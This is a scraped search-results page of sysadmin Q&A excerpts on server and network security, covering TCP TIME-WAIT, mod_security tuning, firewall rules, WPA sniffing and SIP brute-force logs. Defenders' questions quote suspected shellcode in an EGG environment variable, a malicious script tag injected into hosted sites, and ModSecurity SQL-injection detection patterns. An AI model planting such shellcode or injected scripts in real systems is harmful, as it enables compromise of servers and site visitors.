Search Results

Search found 21719 results on 869 pages for 'password security'.

Page 181/869 | < Previous Page | 177 178 179 180 181 182 183 184 185 186 187 188  | Next Page >

• Real benefits of tcp TIME-WAIT and implications in production environment

  - by user64204

  SOME THEORY I've been doing some reading on tcp TIME-WAIT (here and there) and what I read is that it's a value set to 2 x MSL (maximum segment life) which keeps a connection in the "connection table" for a while to guarantee that, "before your allowed to create a connection with the same tuple, all the packets belonging to previous incarnations of that tuple will be dead". Since segments received (apart from SYN under specific circumstances) while a connection is either in TIME-WAIT or no longer existing would be discarded, why not close the connection right away? Q1: Is it because there is less processing involved in dealing with segments from old connections and less processing to create a new connection on the same tuple when in TIME-WAIT (i.e. are there performance benefits)? If the above explanation doesn't stand, the only reason I see the TIME-WAIT being useful would be if a client sends a SYN for a connection before it sends remaining segments for an old connection on the same tuple in which case the receiver would re-open the connection but then get bad segments and and would have to terminate it. Q2: Is this analysis correct? Q3: Are there other benefits to using TIME-WAIT? SOME PRACTICE I've been looking at the munin graphs on a production server that I administrate. Here is one: As you can see there are more connections in TIME-WAIT than ESTABLISHED, around twice as many most of the time, on some occasions four times as many. Q4: Does this have an impact on performance? Q5: If so, is it wise/recommended to reduce the TIME-WAIT value (and what to)? Q6: Is this ratio of TIME-WAIT / ESTABLISHED connections normal? Could this be related to malicious connection attempts?

  Read the article

• Creating limited user account on Windows 7

  - by serena

  I'm sharing my PC (Win 7 x64 Home Premium) with a friend, and I wanna create a guest user for her. I don't want her to reach my files, Windows settings, program adjustments etc. She should just surf the net, create/edit her own Word, Excel documents, and simple things like these. How can I create this user account and make the necessary arrangements for limitations?

  Read the article

• Disallow root to su on a user which is not listed in /etc/passwd

  - by marc.riera

  Hello, on linux we autenticate users against AD. The AD users are not listed on /etc/passwd. We are about to deploy a NFS solution to mount some extra space for each group of users. If a user(A) with sudo su privileges goes to root, then he can impersonate user(B) just by su user(B) and going to the NFS. Is there any way to disallow root to su user if the user is not listed on /etc/passwd ? Thanks.

  Read the article

• Securing DRAC/ILO

  - by The Diamond Z

  This might be a dumb question but DRAC/ILO both have HTTP server interfaces. If I were trolling IP's port 80 on and I came across such a page I'd know it to be a high value target in the sense that if I can crack it, I can take control of the server to some extent (potentially installing another OS). Other than changing the port, what are the best practices for securing DRAC/ILO on public Internet facing machines?

  Read the article

• Cannot access an application folder in Program files

  - by GiddyUpHorsey

  I recently installed Windows 7 Professional 64bit on a new machine. I installed an application using a ClickOnce installer. The application runs fine, but I cannot access the application folder it created in c:\Program files (x86). It bombs with access denied. I try to view the properties on the folder and it takes about 1 minute to display (other folders take 1 second). It says I cannot view any information because I'm not the owner. It doesn't say who the current owner is (instead - Unable to display current owner.) but says I can take ownership. When I try it fails again with Access Denied, even though I have administrative permissions. Why can't I access this folder nor take ownership?

  Read the article

• How do I remove the ServerSignature added by mod_fcgid?

  - by matthew

  I'm running Mod_Security and I'm using the SecServerSignature to customize the Server header that Apache returns. This part works fine, however I'm also running mod_fcgid which appends "mod_fcgid/2.3.5" to the header. Is there any way I can turn this off? Setting ServerSignature off doesn't do anything. I was able to get it to go away by changing the ServerTokens but that removed the customization I had added.

  Read the article

• What is the EGG environment variable?

  - by Randall

  A user on our (openSuSE) linux systems attempted to run sudo, and triggered an alert. He has the environment variable EGG set - EGG=UH211åH1ÒH»ÿ/bin/shHÁSH211çH1ÀPWH211æ°;^O^Ej^A_j<X^O^EÉÃÿ This looks unusual to say the least. Is EGG a legitimate environment variable? (I've found some references to PYTHON_EGG_CACHE - could be related? But that environment variable isn't set for this user). If it's legit, then I imagine this group has the best chance of recognizing it. Or, given the embedded /bin/sh in the string above, does anyone recognize this as an exploit fingerprint? It wouldn't be the first time we had a cracked account (sigh).

  Read the article

• How to disable mod_security2 rule (false positive) for one domain on centos 5

  - by nicholas.alipaz

  Hi I have mod_security enabled on a centos5 server and one of the rules is keeping a user from posting some text on a form. The text is legitimate but it has the words 'create' and an html <table> tag later in it so it is causing a false positive. The error I am receiving is below: [Sun Apr 25 20:36:53 2010] [error] [client 76.171.171.xxx] ModSecurity: Access denied with code 500 (phase 2). Pattern match "((alter|create|drop)[[:space:]]+(column|database|procedure|table)|delete[[:space:]]+from|update.+set.+=)" at ARGS:body. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "352"] [id "300015"] [rev "1"] [msg "Generic SQL injection protection"] [severity "CRITICAL"] [hostname "www.mysite.com"] [uri "/node/181/edit"] [unique_id "@TaVDEWnlusAABQv9@oAAAAD"] and here is /usr/local/apache/conf/modsec2.user.conf (line 352) #Generic SQL sigs SecRule ARGS "((alter|create|drop)[[:space:]]+(column|database|procedure|table)|delete[[:space:]]+from|update.+set.+=)" "id:1,rev:1,severity:2,msg:'Generic SQL injection protection'" The questions I have are: What should I do to "whitelist" or allow this rule to get through? What file do I create and where? How should I alter this rule? Can I set it to only be allowed for the one domain, since it is the only one having the issue on this dedicated server or is there a better way to exclude table tags perhaps? Thanks guys

  Read the article

• Network vulnerability and port scanning services

  - by DigitalRoss

  I'm setting up a periodic port scan and vulnerability scan for a medium-sized network implementing a customer-facing web application. The hosts run CentOS 5.4. I've used tools like Nmap and OpenVAS, but our firewall rules have special cases for connections originating from our own facilities and servers, so really the scan should be done from the outside. Rather than set up a VPS or EC2 server and configuring it with various tools, it seems like this could just be contracted out to a port and vulnerability scanning service. If they do it professionally they may be more up to date than something I set up and let run for a year... Any recommendations or experience doing this?

  Read the article

• Disable mod_security on Dreamhost, for a single cgi script

  - by Hippyjim

  Hi I've searched around a lot, and tried various tweaks to .htaccess files to try to turn off mod_security for a particular cgi script (uber uploader) but it doesn't seem to have any effect. The most popular one I see rehashed all over the web is: # Turn off mod_security filtering. SecFilterEngine Off # The below probably isn't needed, # but better safe than sorry. SecFilterScanPOST Off Which looks relative simple to me - if "SecFilterEngine" is in some way related to mod_security of course. Shame it has absolutely no effect! Does anyone have a suggested way I can simply disable it for a request to any file in my cgi-bin directory?

  Read the article

• Information about recent code injection from http://superiot.ru

  - by klennepette

  Hello, I manage the hosting for a few dozen websites. Since about a week I've been finding this code in 12 different websites in theindex.php files: <script type="text/javascript" src="http://superiot.ru/**.js"></script> // The name of the actual javascript file differs <!-- some hash here--> Some of the websites are on different servers, some aren't. I'm just wondering if anyone else has been seeing this too. Edit with some more information: All servers are centOS 5.3 PHP versions are either 5.2.9 or 5.2.4 Apache versions are either 2.2.3 or 1.3.39

  Read the article

• Just added mod_security... want to whitelist a series of sub directories.

  - by kylex

  I am running a host and just updated mod_security. It "broke" a CMS in multiple sites. I want to white list all sub-directories named CMS. How do I specify a rule to do that?

  Read the article

• capistrano still asks for the 1st password even though I've set up an ssh key???

  - by Greg

  Hi, Background: I've setup an ssh key to avoid having to use passwords with capistrano per http://www.picky-ricky.com/2009/01/ssh-keys-with-capistrano.html. A basic ssh to my server does work fine without asking for passwords. I'm using "dreamhost.com" for hosting. Issue - When I run 'cap deploy' I still get asked for the 1st password (even through the previous 2nd and 3rd password requests are now automated). It is the capistrano command that start with "git clone - q ssh:....." for which the password is being requested. Question - Is there something I've missed? How can I get "cap deploy" totally passwordless? Some excerts from config/deploy.rb are: set :use_sudo, false ssh_options[:keys] = [File.join(ENV["HOME"], ".ssh", "id_rsa")] default_run_options[:pty] = true thanks PS. The permissions on the server are: drwx------ 2 mylogin pg840652 4096 2010-02-22 15:56 .ssh -rw------- 1 mylogin pg840652 404 2010-02-22 15:45 authorized_keys

  Read the article

• Trusted Root certificates regularly disappear on Windows 7

  - by Evgeny

  I've installed several self-signed certificates on my Windows 7 Ultimate x64 machine for development purposes. One was installed into Trusted Root CAs and 2 were installed into My Certificates and Trusted People. Every day or two the certificate installed into Trusted Root CAs disappears and I have to re-install it! This is annoying the hell out of me. Why is it happening and how do I stop it? The other certificates (installed into other stores) do not disappear. My first thought was some kind of Group Policy, but my machine is not part of a domain - though it does obtains its IP address from a corporate DHCP server, so I'm not sure if they can somehow still manage to apply Group Policy to me.

  Read the article

• Bad ways to secure wireless network.

  - by Moshe

  I was wondering if anybody had any thoughts on this, as I recently saw a Verizon DSL network set up where the WEP key was the last 8 characters of the router's MAC address. (It's bad enough that hey were using WEP in the first place...)

  Read the article

• Using SSLv3 - Enabling Strong Ciphers Server 2008

  - by Igor K

  I've disabled SSLv2 and SSLv3 is on. However I cannot connect to a remote server which fails with The client and server cannot communicate, because they do not possess a common algorithm Ran an SSL check (http://www.serversniff.net/sslcheck.php) on the remote server and ours, and noticed none of the ciphers they accept we have on our server. How can this be configured? (Windows Web Server 2008) Remote Server Accepted SSL ciphers: DHE-RSA-AES256-SHA AES256-SHA EDH-RSA-DES-CBC3-SHA DES-CBC3-SHA DHE-RSA-AES128-SHA AES128-SHA Our server by default accepts: DES-CBC3-SHA RC4-SHA RC4-MD5

  Read the article

• Encrypt LAN and wifi traffic on small private network

  - by Grimlockz

  I need some advice about encrypt all traffic on a small private network running wi-fi and LAN traffic on 192.168.0.x network. The network would comprise of client laptops connecting to the wi-fi router (192.168.0.254) via ethernet connection or wireless. The main purpose of the server is for the client laptops to talk to two servers on different IP's (192.168.0.200 and 192.168.0.201) on ports 80 and 433. My main concern is having packet sniffers and what not getting access to the data. The only ways I see at the moment is to have VPN running on the network or use IPSec policy's to do this. Any other ways guys?

  Read the article

• Correctly setting up UFW on Ubuntu Server 10 LTS which has Nginx, FastCGI and MySQL?

  - by littlejim84

  Hello. I'm wanting to get my firewall on my new webserver to be as secure as it needs to be. After I did research for iptables, I came across UFW (Uncomplicated FireWall). This looks like a better way for me to setup a firewall on Ubuntu Server 10 LTS and seeing that it's part of the install, it seems to make sense. My server will have Nginx, FastCGI and MySQL on it. I also want to be allow SSH access (obviously). So I'm curious to know exactly how I should set up UFW and is there anything else I need to take into consideration? After doing research, I found an article that explains it this way: # turn on ufw ufw enable # log all activity (you'll be glad you have this later) ufw logging on # allow port 80 for tcp (web stuff) ufw allow 80/tcp # allow our ssh port ufw allow 5555 # deny everything else ufw default deny # open the ssh config file and edit the port number from 22 to 5555, ctrl-x to exit nano /etc/ssh/sshd_config # restart ssh (don't forget to ssh with port 5555, not 22 from now on) /etc/init.d/ssh reload This all seems to make sense to me. But is it all correct? I want to back this up with any other opinions or advice to ensure I do this right on my server. Many thanks!

  Read the article

• LDAP for privilege control?

  - by neoice

  I've been wondering for a while if LDAP can be used to control user privileges. For example, if I have UNIX and web logins, is there an easy way to grant a user access to just or just UNIX (or even both?) My current attempt at solving this very problem was to create 'login' and 'nologin' groups, but this doesn't seem fine-grained enough to meet the ideas I have in my head. I'm also still in the situation where all UNIX users are web users, which isn't a problem so much as an indicator of the limitations. Does anyone have any input on this? Has this problem already been solved?

  Read the article

• WEP/WPA/WPA2 and wifi sniffing

  - by jcea

  Hi, I know that WEP traffic can be "sniffed" by any user of the WIFI. I know that WPA/WPA2 traffic is encrypted using a different link key for each user, so they can't sniff traffic... unless they capture the initial handshake. If you are using a PSK (preshared key) schema, then you recover the link key trivially from this initial handshake. If you don't know the PSK, you can capture the handshake and try to crack the PSK by bruteforce offline. Is my understanding correct so far?. I know that WPA2 has AES mode and can use "secure" tokens like X.509 certificates and such, and it is said to be secure against sniffing because capturing the handshake doesn't help you. So, is WPA2+AES secure (so far) against sniffing, and how it actually works?. That is, how is the (random) link key negociated?. When using X.509 certificates or a (private and personal) passphrase. Do WPA/WPA2 have other sniffer-secure modes beside WPA2+AES? How is broadcast traffic managed to be received by all the WIFI users, if each has a different link key?. Thanks in advance! :).

  Read the article

• Which IP addresses are using remote dekstop?

  - by Andomar

  We have a server that has an open remote desktop port to the internet (no VPN.) Several people are allowed to log on to the machine remotely. The server runs Windows 7 (desktop OS.) I can find logon times using Event Viewer, but it does not show the IP address of the remote machine. At any rate, manually browsing Event Viewer for all login events would be time consuming, to say the least.) Is a way to find out which IP addresses are using Remote Dekstop ?

  Read the article

• How to securely store and update backup on remote server via ssh/rsync

  - by Sergey P. aka azure

  I have about 200 Gb of pictures (let's say about 1 mb/file, 200k files) on my desktop. I have access (including root access) to remote linux server. And I want to have updateable backup of my pictures on remote server. rsync seems to be the right tool for such kind of job. But other people also have access (including root access) to this server and I want to keep my pictures private. So the question is: what is the best way to keep private files on remote "shared" linux server securely?

  Read the article

• How to stop registration attempts on Asterisk

  - by Travesty3

  The main question: My Asterisk logs are littered with messages like these: [2012-05-29 15:53:49] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:50] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:55] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:55] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:57] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device <sip:[email protected]>;tag=cb23fe53 [2012-05-29 15:53:57] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device <sip:[email protected]>;tag=cb23fe53 [2012-05-29 15:54:02] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:54:03] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 21:20:36] NOTICE[5578] chan_sip.c: Registration from '"55435217"<sip:[email protected]>' failed for '65.218.221.180' - No matching peer found [2012-05-29 21:20:36] NOTICE[5578] chan_sip.c: Registration from '"1731687005"<sip:[email protected]>' failed for '65.218.221.180' - No matching peer found [2012-05-30 01:18:58] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=dEBcOzUysX [2012-05-30 01:18:58] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=9zUari4Mve [2012-05-30 01:19:00] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=sOYgI1ItQn [2012-05-30 01:19:02] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=2EGLTzZSEi [2012-05-30 01:19:04] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=j0JfZoPcur [2012-05-30 01:19:06] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=Ra0DFDKggt [2012-05-30 01:19:08] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=rR7q7aTHEz [2012-05-30 01:19:10] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=VHUMtOpIvU [2012-05-30 01:19:12] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=JxZUzBnPMW I use Asterisk for an automated phone system. The only thing it does is receives incoming calls and executes a Perl script. No outgoing calls, no incoming calls to an actual phone, no phones registered with Asterisk. It seems like there should be an easy way to block all unauthorized registration attempts, but I have struggled with this for a long time. It seems like there should be a more effective way to prevent these attempts from even getting far enough to reach my Asterisk logs. Some setting I could turn on/off that doesn't allow registration attempts at all or something. Is there any way to do this? Also, am I correct in assuming that the "Registration from ..." messages are likely people attempting to get access to my Asterisk server (probably to make calls on my account)? And what's the difference between those messages and the "Sending fake auth rejection ..." messages? Further detail: I know that the "Registration from ..." lines are intruders attempting to get access to my Asterisk server. With Fail2Ban set up, these IPs are banned after 5 attempts (for some reason, one got 6 attempts, but w/e). But I have no idea what the "Sending fake auth rejection ..." messages mean or how to stop these potential intrusion attempts. As far as I can tell, they have never been successful (haven't seen any weird charges on my bills or anything). Here's what I have done: Set up hardware firewall rules as shown below. Here, xx.xx.xx.xx is the IP address of the server, yy.yy.yy.yy is the IP address of our facility, and aa.aa.aa.aa, bb.bb.bb.bb, and cc.cc.cc.cc are the IP addresses that our VoIP provider uses. Theoretically, ports 10000-20000 should only be accessible by those three IPs.+-------+-----------------------------+----------+-----------+--------+-----------------------------+------------------+ | Order | Source Ip | Protocol | Direction | Action | Destination Ip | Destination Port | +-------+-----------------------------+----------+-----------+--------+-----------------------------+------------------+ | 1 | cc.cc.cc.cc/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 10000-20000 | | 2 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 80 | | 3 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 2749 | | 4 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 443 | | 5 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 53 | | 6 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1981 | | 7 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1991 | | 8 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 2001 | | 9 | yy.yy.yy.yy/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 137-138 | | 10 | yy.yy.yy.yy/255.255.255.255 | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 139 | | 11 | yy.yy.yy.yy/255.255.255.255 | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 445 | | 14 | aa.aa.aa.aa/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 10000-20000 | | 17 | bb.bb.bb.bb/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 10000-20000 | | 18 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1971 | | 19 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 2739 | | 20 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1023-1050 | | 21 | any | all | inbound | deny | any on server | 1-65535 | +-------+-----------------------------+----------+-----------+--------+-----------------------------+------------------+ Set up Fail2Ban. This is sort of working, but it's reactive instead of proactive, and doesn't seem to be blocking everything (like the "Sending fake auth rejection ..." messages). Set up rules in sip.conf to deny all except for my VoIP provider. Here is my sip.conf with almost all commented lines removed (to save space). Notice at the bottom is my attempt to deny all except for my VoIP provider:[general] context=default allowguest=no allowoverlap=no bindport=5060 bindaddr=0.0.0.0 srvlookup=yes disallow=all allow=g726 allow=ulaw allow=alaw allow=g726aal2 allow=adpcm allow=slin allow=lpc10 allow=speex allow=g726 insecure=invite alwaysauthreject=yes ;registertimeout=20 registerattempts=0 register = user:pass:[email protected]:5060/700 [mysipprovider] type=peer username=user fromuser=user secret=pass host=sip.mysipprovider.com fromdomain=sip.mysipprovider.com nat=no ;canreinvite=yes qualify=yes context=inbound-mysipprovider disallow=all allow=ulaw allow=alaw allow=gsm insecure=port,invite deny=0.0.0.0/0.0.0.0 permit=aa.aa.aa.aa/255.255.255.255 permit=bb.bb.bb.bb/255.255.255.255 permit=cc.cc.cc.cc/255.255.255.255

  Read the article

• PCRE limits exceeded, but triggering rules are SQL related

  - by Wolfe

  [Mon Oct 15 17:12:13 2012] [error] [client xx.xx.xx.xx] ModSecurity: Rule 1d4ad30 [id "300014"][file "/usr/local/apache/conf/modsec2.user.conf"][line "349"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "domain.com"] [uri "/admin.php"] [unique_id "UHx8LEUQwYEAAGutKkUAAAEQ"] And similar are spamming my error log for apache. It's only the admin side.. and only these two lines in the config: line 349: #Generic SQL sigs SecRule ARGS "(or.+1[[:space:]]*=[[:space:]]1|(or 1=1|'.+)--')" "id:300014,rev:1,severity:2,msg:'Generic SQL injection protection'" And line 356: SecRule ARGS "(insert[[:space:]]+into.+values|select.*from.+[a-z|A-Z|0-9]|select.+from|bulk[[:space:]]+insert|union.+select|convert.+\(.*from)" Is there a way to fix this problem? Can someone explain what is going on or if these rules are even valid to cause this error? I know it's supposedly a recursion protection.. but these protect against SQL injection so I'm confused.

  Read the article

• Registry remotley hacked win 7 need help tracking the perp

  - by user577229

  I was writing some .VBS code at thhe office that would allow certain file extensions to be downloaded without a warning dialog on a w7x32 system. The system I was writing this on is in a lab on a segmented subnet. All web access is via a proxy server. The only means of accessing my machine is via the internet or from within the labs MSFT AD domain. While writing and testing my code I found a message of sorts. Upon refresing the registry to verify my code changed a dword, instead the message HELLO was written and visible in regedit where the dword value wass called for. I took a screen shot and proceeded to edit my code. This same weird behavior occurred last time I was writing registry code except on another internal server. I understand that remote registry access exists for windows systems. I will block this immediately once I return to the office. What I want to know is, can I trace who made this connection? How would I do this? I suspect the cause of this is the cause of other "odd" behaviors I'm experiencing at work such as losing control of my input director master control for over an hour and unchanged code that all of a sudden fails for no logical region. These failures occur at funny times, whenver I'm about to give a demonstration of my test code. I know this sounds crazy however knowledge of the registry component makes this believable. Once the registry can be accessed, the entire system is compromised. Any help or sanity checking is appreciated.

  Read the article

< Previous Page | 177 178 179 180 181 182 183 184 185 186 187 188  | Next Page >